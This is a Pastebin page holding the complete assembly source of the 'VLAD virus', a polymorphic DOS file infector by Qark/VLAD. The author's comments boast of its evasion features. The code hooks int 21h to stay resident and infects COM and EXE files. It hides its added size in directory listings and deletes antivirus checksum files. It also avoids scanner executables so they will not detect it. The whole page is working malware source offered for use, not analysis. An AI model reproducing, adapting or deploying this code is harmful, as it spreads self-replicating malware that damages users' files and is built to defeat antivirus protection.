Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- ; The VLAD virus!
- ; +-------------+
- ; by Qark/VLAD!
- ; OVL files... never again! I give this piece of advice to anyone.
- ; By avoiding the infection of OVL's your virus may spread for long times
- ; without discovery. Otherwise everything crashes... ok, not everything
- ; but some large application programs do and that certainly makes people
- ; suspicious. Don't do it!
- ; WoW! My first ever polymorphic virus! Yay! We'll see how it does.
- ; My goal is to make it so that there is no longer a signature and you'll
- ; need an algorithm to find it... but some lines of code can't really be
- ; switched with others so I face a bit of a dilemma. My code has stood up
- ; to all the tests I've done on it so far... so we'll see.
- ; According to my calculations there are a few million variations on
- ; this sucker. I have gotten it to the point that there are only seven bytes
- ; that remain the same. Not too bad...
- ; This virus is completely optimised. Every routine has been stripped
- ; to the barest minimum. (Unlike Daddy in my last release). It even passed
- ; the 'TZ' test. He only managed to strip five bytes off this sucker.
- ; Features: Doesn't infect EXE files that use internal overlays.
- ; Doesn't get flagged under heuristics.
- ; Deletes CRC checking files.
- ; Findfirst/Findnext stealth.
- ; Directory listing stealth.
- ; Uses the DOS qualify function to fix-up the filename.
- ; (This is a pretty good new feature... uppercase, full path
- ; and it's smaller than a REP MOVSB!)
- ; Int24h handler to stop write protect errors on floppys.
- ; Doesn't infect SCAN*.*, TB*.*, F-PR*.* and DV.E*
- ; Uses SFT's to bypass some DOS functions.
- ; Infects readonly files without changing their attribute.
- ; Slightly polymorphic (Seven stable bytes)
- ; Doesn't infect COM files that are too big or small.
- ; Assemble using a86.
- org 0
- db 0beh ;Stands for MOV SI,xxxx
- delta dw 100h ;We'll put the data offset in.
- db 0b0h ;Stands for MOV AL,xxxx
- encryptor db 0 ;The encryption byte.
- poly6:
- add si,offset enc_start ;Point to the bit to encrypt.
- call encrypt ;Decrypt the file.
- enc_start: ;Everything after this point
- ;has been encrypted.
- sub si,offset enc_end ;Restore SI.
- ;mov word ptr [si+offset quit],20cdh
- db 0c7h,44h
- db offset quit
- dw 20cdh
- quit:
- mov word ptr [si+offset quit],44c7h
- ;Install the TSR now.
- push bx
- push cx
- push ds
- push es
- push si
- mov ax,0CAFEh ;Eat here.
- int 21h
- cmp ax,0F00Dh ;Is there any of this ?
- je bad_mem_exit ;Yep! Time for lunch! No viral
- ;activity today!
- mov ax,es ;ES = PSP
- dec ax
- mov ds,ax ;DS=MCB segment
- cmp byte ptr [0],'Z' ;Z=last MCB
- jne bad_mem_exit
- sub word ptr [3],160 ;160*16=2560 less memory
- sub word ptr [12h],160 ;[12h] = PSP:[2] = Top of memory
- mov ax,word ptr [12h]
- ;------------------------------
- push cs
- pop ds ;DS=CS
- xor bx,bx ;ES=0
- mov es,bx
- mov bx,word ptr es:[132] ;get int21h
- mov word ptr [si+offset i21],bx
- mov bx,word ptr es:[134] ;get int21h
- mov word ptr [si+offset i21 + 2],bx
- ;------------------------------
- mov es,ax ;Store our stuff in here...
- xor di,di
- mov cx,offset length
- rep movsb ;Move the Virus to ES:DI
- ;------------------------------
- xor bx,bx ;ES=0
- mov ds,bx
- mov word ptr [132],offset infection
- mov word ptr [134],ax
- bad_mem_exit:
- pop si
- pop es
- pop ds
- pop cx
- pop bx
- cmp byte ptr [si+offset com_exe],1
- je Exe_Exit
- mov ax,word ptr [si+offset old3]
- mov word ptr [100h],ax
- mov al,byte ptr [si+offset old3+2]
- mov [102h],al
- mov ax,100h
- jmp ax
- Exe_exit:
- mov ax,es ;ES=PSP
- add ax,10h ;PSP+10H = start of actual
- ;exe file.
- add word ptr [si+jump+2],ax ;Fix jump for original CS.
- mov sp,word ptr [si+offset orig_sp]
- add ax,word ptr [si+offset orig_ss] ;Fix segment with AX.
- mov ss,ax
- push es
- pop ds
- xor si,si
- xor ax,ax
- db 0eah
- jump dd 0
- db '[VLAD virus]',0
- db 'by VLAD!',0
- infection proc far
- push ax ;Save AX
- xchg ah,al ;Swap AH,AL
- cmp al,4bh ;Cmp AL,xx is smaller than AH
- je test_file ;Thanx TZ! :)
- cmp al,43h
- je test_file
- cmp al,56h
- je test_file
- cmp ax,006ch
- je test_file
- cmp al,3dh
- je test_file
- cmp al,11h ;Do directory stealth.
- je dir_listing
- cmp al,12h
- je dir_listing
- cmp al,4eh ;Find_first/Find_next stealth.
- je find_file
- cmp al,4fh
- je find_file
- pop ax
- cmp ax,0CAFEh ;Where I drink coffee!
- jne jump1_exit
- mov ax,0F00Dh ;What I eat while I'm there.
- iret
- dir_listing:
- jmp dir_stealth
- find_file:
- jmp search_stealth
- jump1_exit:
- jmp jend
- test_file:
- push bx
- push cx
- push dx
- push ds
- push es
- push si
- push di
- cmp al,6ch
- jne no_fix_6c
- mov dx,si
- no_fix_6c:
- mov si,dx ;DS:SI = Filename.
- push cs
- pop es ;ES=CS
- mov ah,60h ;Get qualified filename.
- mov di,offset length ;DI=Buffer for filename.
- call int21h ;This converts it to uppercase too!
- ;CS:LENGTH = Filename in uppercase
- ;with path and drive. Much easier
- ;to handle now!
- push cs
- pop ds ;DS=CS
- mov si,di ;SI=DI=Offset of length.
- cld ;Clear direction flag.
- find_ascii_z:
- lodsb
- cmp al,0
- jne find_ascii_z
- sub si,4 ;Points to the file extension. 'EXE'
- lodsw ;Mov AX,DS:[SI]
- cmp ax,'XE' ;The 'EX' out of 'EXE'
- jne test_com
- lodsb ;Mov AL,DS:[SI]
- cmp al,'E' ;The last 'E' in 'EXE'
- jne jump2_exit
- jmp do_file ;EXE-file
- test_com:
- cmp ax,'OC' ;The 'CO' out of 'COM'
- jne jump2_exit
- lodsb ;Mov AL,DS:[SI]
- cmp al,'M'
- je do_file ;COM-file
- jump2_exit:
- jmp far_pop_exit ;Exit
- Do_file:
- call chk4scan
- jc jump2_Exit
- mov ax,3d00h ;Open file.
- mov dx,di ;DX=DI=Offset length.
- call int21h
- jc jump2_exit
- mov bx,ax ;File handle into BX.
- call get_sft ;Our SFT.
- ;Test for infection.
- mov ax,word ptr es:[di+0dh] ;File time into AX from SFT.
- mov word ptr es:[di+2],2 ;Bypass Read only attribute.
- and ax,1f1fh ;Get rid of the shit we don't need.
- cmp al,ah ;Compare the seconds with minutes.
- je jump2_exit
- push cs
- pop es ;ES=CS
- call del_crc_files
- ;Read the File header in to test
- ;for EXE or COM.
- mov ah,3fh ;Read from file.
- mov cx,1ch ;1C bytes.
- call int21h ;DX=Offset length from del_crc_files
- ;We don't need the filename anymore
- ;so use that space as a buffer.
- ;Save int24h and point to our controller.
- xor ax,ax
- mov es,ax
- push word ptr es:[24h*4] ;Save it.
- push word ptr es:[24h*4+2]
- mov word ptr es:[24h*4],offset int24h
- mov word ptr es:[24h*4+2],cs ;Point it!
- push cs
- pop es
- mov si,dx ;SI=DX=Offset of length.
- mov ax,word ptr [si] ;=Start of COM or EXE.
- add al,ah ;Add possible MZ.
- cmp al,167 ;Test for MZ.
- je exe_infect
- jmp com_infect
- EXE_Infect:
- mov byte ptr com_exe,1 ;Signal EXE file.
- cmp word ptr [si+1ah],0 ;Test for overlays.
- jne exe_close_exit ;Quick... run!!!
- push si ;SI=Offset of header
- add si,0eh ;SS:SP are here.
- mov di,offset orig_ss
- movsw ;Move them!
- movsw
- mov di,offset jump ;The CS:IP go in here.
- lodsw ;ADD SI,2 - AX destroyed.
- movsw
- movsw ;Move them!
- pop si
- call get_sft ;ES:DI = SFT for file.
- mov ax,word ptr es:[di+11h] ;File length in DX:AX.
- mov dx,word ptr es:[di+13h]
- mov cx,16 ;Divide by paragraphs.
- div cx
- sub ax,word ptr [si+8] ;Subtract headersize.
- mov word ptr delta,dx ;Initial IP.
- mov word ptr [si+14h],dx ;IP in header.
- mov word ptr [si+16h],ax ;CS in header.
- add dx,offset stack_end ;Fix SS:SP for file.
- mov word ptr [si+0eh],ax ;We'll make SS=CS
- mov word ptr [si+10h],dx ;SP=IP+Offset of our buffer.
- mov ax,word ptr es:[di+11h] ;File length in DX:AX.
- mov dx,word ptr es:[di+13h]
- add ax,offset length ;Add the virus length on.
- adc dx,0 ;32bit
- mov cx,512 ;Divide by pages.
- div cx
- and dx,dx
- jz no_page_fix
- inc ax ;One more for the partial
- ;page!
- no_page_fix:
- mov word ptr [si+4],ax ;Number of pages.
- mov word ptr [si+2],dx ;Partial page.
- mov word ptr es:[di+15h],0 ;Lseek to start of file.
- call get_date ;Save the old time/date.
- mov ah,40h ;Write header to file.
- mov dx,si ;Our header buffer.
- mov cx,1ch ;1CH bytes.
- call int21h
- jc exe_close_exit
- mov ax,4202h ;End of file. Smaller than
- ;using SFT's.
- xor cx,cx ;Zero CX
- cwd ;Zero DX (If AX < 8000H then
- ;CWD moves zero into DX)
- call int21h
- call enc_setup ;Thisll encrypt it and move
- ;it to the end of file.
- exe_close_exit:
- jmp com_close_exit
- COM_Infect:
- mov byte ptr com_exe,0 ;Flag COM infection.
- mov ax,word ptr [si] ;Save COM files first 3 bytes.
- mov word ptr old3,ax
- mov al,[si+2]
- mov byte ptr old3+2,al
- call get_sft ;SFT is at ES:DI
- mov ax,es:[di+11h] ;AX=File Size
- cmp ax,64000
- ja com_close_exit ;Too big.
- cmp ax,1000
- jb com_close_exit ;Too small.
- push ax ;Save filesize.
- mov newoff,ax ;For the new jump.
- sub newoff,3 ;Fix the jump.
- mov word ptr es:[di+15h],0 ;Lseek to start of file :)
- call get_date ;Save original file date.
- mov ah,40h
- mov cx,3
- mov dx,offset new3 ;Write the virus jump to start of
- call int21h ;file.
- pop ax ;Restore file size.
- jc com_close_exit ;If an error occurred... exit.
- mov word ptr es:[di+15h],ax ;Lseek to end of file.
- add ax,100h ;File size + 100h.
- mov word ptr delta,ax ;The delta offset for COM files.
- call enc_setup
- com_close_exit:
- mov ah,3eh
- call int21h
- ;restore int24h
- xor ax,ax
- mov es,ax
- pop word ptr es:[24h*4+2]
- pop word ptr es:[24h*4]
- far_pop_exit:
- pop di
- pop si
- pop es
- pop ds
- pop dx
- pop cx
- pop bx
- pop ax
- jend:
- db 0eah ;Opcode for jmpf
- i21 dd 0
- ;$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
- ;$$ PROCEDURES AND DATA $$
- ;$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
- int21h proc near ;Our int 21h
- pushf
- call dword ptr cs:[i21]
- ret
- int21h endp
- int24h proc near
- mov al,3
- iret
- int24h endp
- Search_Stealth:
- pop ax ;Restore AX.
- call int21h
- jc end_search
- push es
- push bx
- push si
- mov ah,2fh
- call int21h
- mov si,bx
- mov bx,word ptr es:[si+16h]
- and bx,1f1fh
- cmp bl,bh
- jne search_pop ;Is our marker set ?
- sub word ptr es:[si+1ah],offset length ;Subtract the file length.
- sbb word ptr es:[si+1ch],0
- search_pop:
- pop si
- pop bx
- pop es
- clc
- end_search:
- retf 2 ;This is the same as an IRET
- ;except that the flags aren't popped
- ;off so our Carry Remains set.
- Dir_Stealth:
- ;This bit means that when you do a 'dir' there is no change in
- ;file size.
- pop ax
- call int21h ;Call the interrupt
- cmp al,0 ;straight off.
- jne end_of_dir
- push es
- push ax ;Save em.
- push bx
- push si
- mov ah,2fh ;Get DTA address.
- call int21h
- mov si,bx
- cmp byte ptr es:[si],0ffh ;Extended FCB ?
- jne not_extended
- add si,7 ;Add the extra's.
- not_extended:
- mov bx,word ptr es:[si+17h] ;Move time.
- and bx,1f1fh
- cmp bl,bh
- jne dir_pop ;Is our marker set ?
- sub word ptr es:[si+1dh],offset length ;Subtract the file length.
- sbb word ptr es:[si+1fh],0
- dir_pop:
- pop si
- pop bx
- pop ax
- pop es
- end_of_dir:
- iret
- Get_Date proc near
- ;Saves the date into DATE and TIME.
- mov ax,5700h ;Get Date/Time.
- call int21h
- mov word ptr time,cx
- mov word ptr date,dx
- ret
- Get_Date endp
- time dw 0
- date dw 0
- Set_marker proc near
- ;Sets the time back and changes the time into an infection marker.
- mov cx,time
- mov al,ch
- and al,1fh
- and cl,0e0h
- or cl,al
- mov dx,date
- mov ax,5701h
- call int21h
- ret
- Set_marker endp
- PolyMorphic Proc Near
- ;Moves random instructions into the code.
- in ax,40h ;Random in AX
- and ax,6 ;Between 0-3 * 2
- mov di,offset enc_loop ;Put the xor in a random position.
- add di,ax
- mov word ptr [di],0430h ;=XOR [SI],AL
- mov dx,di ;Already done this position
- mov di,offset poly1 ;Put the random instruction here.
- mov cx,3 ;3 random instructions.
- poly_enc_loop:
- in ax,40h ;Random number in AX.
- and ax,14 ;Between 0-7. Multiplied by 2.
- ;14 = 00001110b
- mov si,offset database1 ;SI points to start of database.
- add si,ax ;Add SI with AX the random offset.
- cmp dx,di ;Is the XOR here ?
- jne poly_move ;Nope its ok.
- inc di ;Dont move where the XOR is!
- inc di
- poly_move:
- movsw ;Move the instruction.
- loop poly_enc_loop
- Poly_CX:
- ;This time we are randomising the 'MOV CX,' in the encryption
- ;routine with some POPs.
- in ax,40h ;Random number in AX.
- and ax,3 ;0-3
- cmp ax,3
- je poly_cx ;We only have 3 combinations to
- ;choose from so retry if the fourth
- ;option gets choosen.
- xchg al,ah ;Swap em for AAD.
- aad ;Multiply AH by 10(decimal).
- shr al,1 ;Divide by 2.
- ;The overall effect of this is
- ;MUL AX,5 We need this because
- ;we have to move 5 bytes.
- mov si,offset database2
- add si,ax
- mov di,offset poly5 ;Where to put the bytes.
- movsw ;Move 5 bytes
- movsw
- movsb
- in ax,40h ;Rand in AX.
- and ax,12 ;0-3*4
- mov si,offset database3
- add si,ax
- mov di,offset poly6
- movsw
- movsw
- in ax,40h
- and ax,2
- mov si,offset database4
- add si,ax
- mov di,offset poly7
- movsw
- in ax,40h
- and ax,2
- mov si,offset database5
- add si,ax
- mov di,offset poly8
- movsw
- ret
- db '[VIP v0.01]',0
- PolyMorphic EndP
- database1 db 0f6h,0d0h ;not al 2 bytes
- db 0feh,0c0h ;inc al 2 bytes
- db 0f6h,0d8h ;neg al 2 bytes
- db 0feh,0c8h ;dec al 2 bytes
- db 0d0h,0c0h ;rol al,1 2 bytes
- db 04h,17h ;add al,17h 2 bytes
- db 0d0h,0c8h ;ror al,1 2 bytes
- db 2ch,17h ;sub al,17h 2 bytes
- database2: ;Three variations on the one routine within encrypt.
- mov cx,offset enc_end - offset enc_start
- push cs
- pop ds
- push cs
- pop ds
- mov cx,offset enc_end - offset enc_start
- push cs
- mov cx,offset enc_end - offset enc_start
- pop ds
- database3: ;Four variations of the routine at the start of the virus.
- add si,offset enc_start + 1
- dec si
- dec si
- add si,offset enc_start +1
- add si,offset enc_start -1
- inc si
- inc si
- add si,offset enc_start -1
- database4: ;This is for the INC SI in the encryption.
- inc si
- cld
- cld
- inc si
- database5: ;This is for the RET in the encryption.
- ret
- db 0fh
- cld
- ret
- Enc_Setup proc near
- push cs
- pop es
- call polymorphic ;Our polymorphic routine.
- inc byte ptr encryptor ;Change the encryptor.
- jnz enc_not_zero ;Test for zero.
- ;XOR by Zero is the same byte.
- inc byte ptr encryptor
- enc_not_zero:
- xor si,si
- mov di,offset length ;Offset of our buffer.
- mov cx,offset length ;Virus Length.
- rep movsb ;Move the virus up in memory for
- ;encryption.
- mov al,byte ptr encryptor
- mov si,offset length + offset enc_start
- call encrypt ;Encrypt virus.
- mov ah,40h ;Write virus to file
- mov dx,offset length ;Buffer for encrypted virus.
- mov cx,offset length ;Virus length.
- call int21h
- call set_marker ;Mark file as infected.
- ret
- Enc_Setup endp
- Get_SFT Proc Near
- ;Entry: BX=File Handle.
- ;Exit: ES:DI=SFT.
- push bx
- mov ax,1220h ;Get Job File Table Entry. The byte pointed
- int 2fh ;at by ES:[DI] contains the number of the
- ;SFT for the file handle.
- xor bx,bx
- mov bl,es:[di] ;Get address of System File Table Entry.
- mov ax,1216h
- int 2fh
- pop bx
- ret
- Get_SFT EndP
- Del_CRC_Files Proc Near
- ;Deletes AV CRC checking files. Much smaller than the previous version.
- std ;Scan backwards.
- find_slash2: ;Find the backslash in the path.
- lodsb
- cmp al,'\'
- jne find_slash2
- cld ;Scan forwards.
- lodsw ;ADD SI,2 - AX is destroyed.
- push si
- pop di ;DI=SI=Place to put filename.
- mov si,offset crc_files
- del_crc:
- push di ;Save DI.
- loadname:
- movsb
- cmp byte ptr [di-1],0
- jne loadname
- mov ah,41h
- call int21h ;Delete.
- pop di
- cmp si,offset chk4scan
- jb del_crc
- ret
- Del_CRC_Files EndP
- ;Delete these...
- CRC_Files db 'ANTI-VIR.DAT',0
- db 'MSAV.CHK',0
- db 'CHKLIST.CPS',0
- db 'CHKLIST.MS',0
- ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
- Chk4Scan Proc Near
- ;This routine searches for SCAN, TB* and F-PR* and exits with the carry
- ;set if they are found. All these files self-check themselves so will alert
- ;the user to the viruses presence. DV.EXE is checked by DV.COM and won't
- ;execute.
- ;Assumes DI=offset length, SI=End of filename
- std ;Scan backwards.
- find_slash: ;Find the backslash in the path.
- lodsb
- cmp al,'\'
- jne find_slash
- cld ;Scan forwards.
- lodsw ;SI points to byte before slash
- ;so we add 2. AX is killed.
- lodsw
- cmp ax,'CS' ;The 'SC' from SCAN.
- jne tbcheck
- lodsw
- cmp ax,'NA' ;The 'AN' from SCAN
- jne chkfail
- stc ;Set carry.
- ret
- tbcheck:
- cmp ax,'BT' ;The 'TB' from TBSAN.
- jne fcheck
- stc ;Set carry.
- ret
- fcheck:
- cmp ax,'-F' ;The 'F-' from F-PROT.
- jne dvcheck
- lodsw
- cmp ax,'RP' ;The 'PR' from F-PROT.
- jne chkfail
- stc ;Set carry
- ret
- dvcheck:
- cmp ax,'VD' ;The 'DV' from DV.EXE.
- jne chkfail
- lodsw
- cmp ax,'E.' ;The '.E' from DV.EXE.
- jne chkfail
- stc
- ret
- chkfail:
- clc ;Clear the carry.
- ret
- Chk4Scan EndP
- com_exe db 0 ;1=EXE
- New3 db 0e9h ;The jump for the start of
- Newoff dw 0 ;COM files.
- old3 db 0cdh,20h,90h ;First 3 comfile bytes here.
- orig_ss dw 0
- orig_sp dw 0
- enc_end:
- encrypt proc near ;Encrypts the virus.
- ;SI = offset of bit to be encrypted
- ;AL = encryptor
- poly5:
- mov cx,offset enc_end - offset enc_start
- push cs
- pop ds
- enc_loop:
- poly1: ;The next four lines of code are
- ror al,1 ;continuously swapped and moved with
- poly2: ;other code. Ever changing...
- ror al,1
- poly3:
- ror al,1
- poly4:
- xor byte ptr [si],al
- poly7:
- nop
- inc si
- loop enc_loop
- poly8:
- nop
- ret
- encrypt endp
- length db 100 dup (0)
- stack_end:
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement